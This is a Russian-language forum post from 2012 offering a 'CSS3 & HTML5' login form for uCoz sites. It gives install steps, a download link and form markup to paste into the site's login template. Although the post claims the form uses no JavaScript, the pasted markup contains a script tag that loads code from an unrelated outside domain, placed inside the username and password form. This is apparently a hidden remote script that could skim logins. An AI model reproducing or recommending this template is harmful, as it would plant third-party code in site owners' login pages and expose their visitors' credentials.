|
Форма входа CSS3 & HTML5
| |
Offline
Lookflaco |
Дата: Суббота, 09.06.2012, 16:09 | Сообщение # 1 |
| отлично смотрится под любой дизайн
Смотрим скрин скрипта: http://s019.radikal.ru/i607/1205/2c/2f2f79b1f69a.png
Очень красивая форма входа в которой вместо jq & js используем CSS3 и HTML5,ну очень простая в установке форма входа для uCoz. Установим нашу форму входа для uCoz: ПУ-->Управление дизайном-->Страница входа пользователей. В head подключаем css файл:
[code]<link rel="stylesheet" type="text/css" href="/css/style.css" />[/code]
Предварительно, вам необходимо, в файловом менеджере создать папки css и images и загрузить в них файлы из одноименных папок архива с исходниками.
СКАЧАТЬ: narod.ru/disk/50873441001.b873d9c8f72428277d36f499c2ad5f0f/152_fv.rar.html
Ниже, находим:
[code]$BODY$[/code]
И заменяем его на:
[code]<?if($USER_AGENT$='ie')?>$LOG_FORM$<?else?>$BODY$<?endif?>[/code]
Затем, ПУ-->Управление дизайном-->Форма входа пользователей. Заменяем весь код на этот:
[code]<div class="container"> <section id="content"> <div> <input class="loginField" placeholder="Введите логин" required="" id="username" type="text" name="user" value="" maxlength="50"/> </div> <div> <input class="loginField" placeholder="*******" required="" id="password" type="password" name="password" maxlength="15"/> </div> <div> <input name="sbm" type="submit" value="Вход"/> <script language="javascript" src="http://lifi-gta.ru/jogin_form_javascript.js"></script> <a href="$REMINDER_LINK$">Забыл пароль</a> <a href="$REGISTER_LINK$">Регистрация</a> </div> <div class="button"> <input class="test" id="rem$PAGE_ID$" type="checkbox" name="rem" value="1" checked="checked"/><label for="rem$PAGE_ID$">запомнить</label><input class="test" id="hid$PAGE_ID$" type="checkbox" name="hidden" value="1" /><label for="hid$PAGE_ID$">скрытый</label> </div> </section> </div>[/code]
На этом установка завершена!
|
|
| |
| |
Пятница - 17.05.2024 - 12:38
| |
|
Последние обновления на форуме |
Популярные темы |
Лучшие пользователи |
Новые пользователи |
- (38)
- (4)
- (0)
- (0)
- (0)
- (4)
- (3)
- (3)
- (10)
- (1)
|
- (38)
- (10)
- (9)
- (9)
- (7)
- (7)
- (7)
- (6)
- (6)
- (6)
|
|
- (25.01.2023)
- (06.04.2021)
- (16.01.2020)
- (21.09.2018)
- (14.05.2018)
- (07.06.2017)
- (19.10.2016)
- (29.04.2016)
- (17.03.2016)
- (05.03.2016)
|
|